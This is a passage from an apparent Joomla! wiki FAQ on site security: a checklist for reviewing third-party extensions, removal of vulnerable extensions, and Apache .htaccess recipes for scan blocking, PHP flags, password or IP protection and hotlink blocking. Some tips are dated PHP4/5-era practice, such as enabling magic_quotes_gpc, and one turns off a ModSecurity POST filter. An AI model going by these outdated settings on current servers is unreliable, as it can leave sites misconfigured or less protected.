: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding &#039;&#039;&#039;SecFilterScanPOST Off&#039;&#039;&#039; to your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with &amp;quot;phpMyAdmin&amp;quot; to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^phpMyAdmin /index.php [L]&lt;br /&gt;
 RewriteRule ^phpMyAdmin - [F]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of pattern&lt;br /&gt;
 . Means any character other than newlines&lt;br /&gt;
 + Means one or more of the previous character&lt;br /&gt;
 * Means zero or more of the previous character&lt;br /&gt;
 $ Means end of pattern&lt;br /&gt;
 \.  Literal periods must be escaped with a leading \&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file in the domain root folder.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.example.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;example.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
6. Note: if your site is located in a folder, for example &amp;quot;test&amp;quot; you will need to modify the .htaccess file as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Requirements&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.&lt;br /&gt;
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.&lt;br /&gt;
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Check to be sure your site is configured to use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
2. Make a backup of the .htaccess file in your root public_http directory. If you don&#039;t have a .htaccess file at this location, create one now.&lt;br /&gt;
&lt;br /&gt;
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.&lt;br /&gt;
&lt;br /&gt;
 AddType x-mapp-php5 .php&lt;br /&gt;
 AddHandler application/x-httpd-php5 .php&lt;br /&gt;
 AddHandler cgi-php5 .php&lt;br /&gt;
&lt;br /&gt;
4. Carefully test.&lt;br /&gt;
&lt;br /&gt;
5. Delete the backup .htaccess file. Don&#039;t leave backups of .htaccess files in public directories.&lt;br /&gt;
&lt;br /&gt;
==How do I password protect directories using .htaccess?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveat (From Apache.org)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Basic authentication should not be considered secure for any particularly rigorous definition of secure.&lt;br /&gt;
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.&lt;br /&gt;
&lt;br /&gt;
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.&lt;br /&gt;
&lt;br /&gt;
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.&lt;br /&gt;
&lt;br /&gt;
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.&lt;br /&gt;
Apache Authentication, Authorization, and Access Control&lt;br /&gt;
&lt;br /&gt;
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.&lt;br /&gt;
&lt;br /&gt;
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it&#039;s probably best to add the new code to it.&lt;br /&gt;
&lt;br /&gt;
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.&lt;br /&gt;
&lt;br /&gt;
 /home/mysite/public_html/.htaccess&lt;br /&gt;
 /home/mysite/auth/.htpasswd/&lt;br /&gt;
 /home/mysite/auth/.htgroups/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you&#039;ve read the always current and official documentation at Apache.org, we&#039;ll spare you the trouble of displaying it again here.)&lt;br /&gt;
&lt;br /&gt;
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don&#039;t forget the dot at the beginning of the name.)&lt;br /&gt;
&lt;br /&gt;
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.&lt;br /&gt;
&lt;br /&gt;
 AuthUserFile /home/auth/.htpasswd&lt;br /&gt;
 AuthGroupFile /home/auth/.htgroups&lt;br /&gt;
 AuthType Basic&lt;br /&gt;
 AuthName &amp;quot;LWS&amp;quot;&lt;br /&gt;
 require group admins&lt;br /&gt;
&lt;br /&gt;
8. Test carefully.&lt;br /&gt;
&lt;br /&gt;
9. Remove all backup .htaccess files from public_http directories.&lt;br /&gt;
&lt;br /&gt;
10. If you cannot use the Apache htpasswd utility, here&#039;s a free, online script that creates the necessary files for you. You&#039;ll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you&#039;ll need to edit the resulting files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;.htaccess Generator:&#039;&#039;&#039; http://www.webmaster-toolkit.com/htaccess-generator.shtml&lt;br /&gt;
&lt;br /&gt;
== How do I restrict directory access by IP address using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)&lt;br /&gt;
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:&lt;br /&gt;
&lt;br /&gt;
 Order Deny,Allow&lt;br /&gt;
 Deny from all&lt;br /&gt;
 Allow from 100.100.100.100&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.&lt;br /&gt;
&lt;br /&gt;
* Optional: You can add multiple addresses by separating them with comma&#039;s.&lt;br /&gt;
&lt;br /&gt;
 100.100.100.101, 100.100.100.102&lt;br /&gt;
&lt;br /&gt;
==How do I convert an htaccess.txt file into a .htaccess file?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need &amp;quot;AllowOverride Options&amp;quot; or &amp;quot;AllowOverride All&amp;quot; privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.&lt;br /&gt;
# Make any adjustments to this file as appropriate for your site, and then save it in your site&#039;s home directory as, .htaccess (including the dot).&lt;br /&gt;
# Test your site&#039;s front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.&lt;br /&gt;
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]&lt;br /&gt;
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]&lt;br /&gt;
&lt;br /&gt;
== How do I block direct hot linking to image files using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveats&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Your server must allow .htaccess files for this technique to work.&lt;br /&gt;
# If you do not have a .htaccess file in your root directory, see the related FAQ first.&lt;br /&gt;
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.&lt;br /&gt;
# Hot linked images can only be replaced by other images, not with HTML pages.&lt;br /&gt;
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.&lt;br /&gt;
# Place the following code in the .htaccess file of your root directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Explanation&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means &amp;quot;aNy Case&amp;quot;, which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Block hot linking from specific domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means &amp;quot;Or Next&amp;quot;, as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Display a 403 forbidden code&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:&lt;br /&gt;
&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]&lt;br /&gt;
&lt;br /&gt;
= PHP =&lt;br /&gt;
&lt;br /&gt;
== Why is Joomla! written in PHP? ==&lt;br /&gt;
&lt;br /&gt;
: Might as well get it from the horse&#039;s mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&amp;quot;What it all boils down to is that PHP was never meant to win any beauty contests. It wasn&#039;t designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP&#039;s stubborness.&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== What is the latest stable release of PHP? ==&lt;br /&gt;
&lt;br /&gt;
Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.&lt;br /&gt;
&lt;br /&gt;
== How do I tune for speed with PHP5 and MySQL5? ==&lt;br /&gt;
&lt;br /&gt;
: This is just a point by point summary of how I&#039;ve been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.&lt;br /&gt;
&lt;br /&gt;
: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.&lt;br /&gt;
&lt;br /&gt;
# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.&lt;br /&gt;
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.&lt;br /&gt;
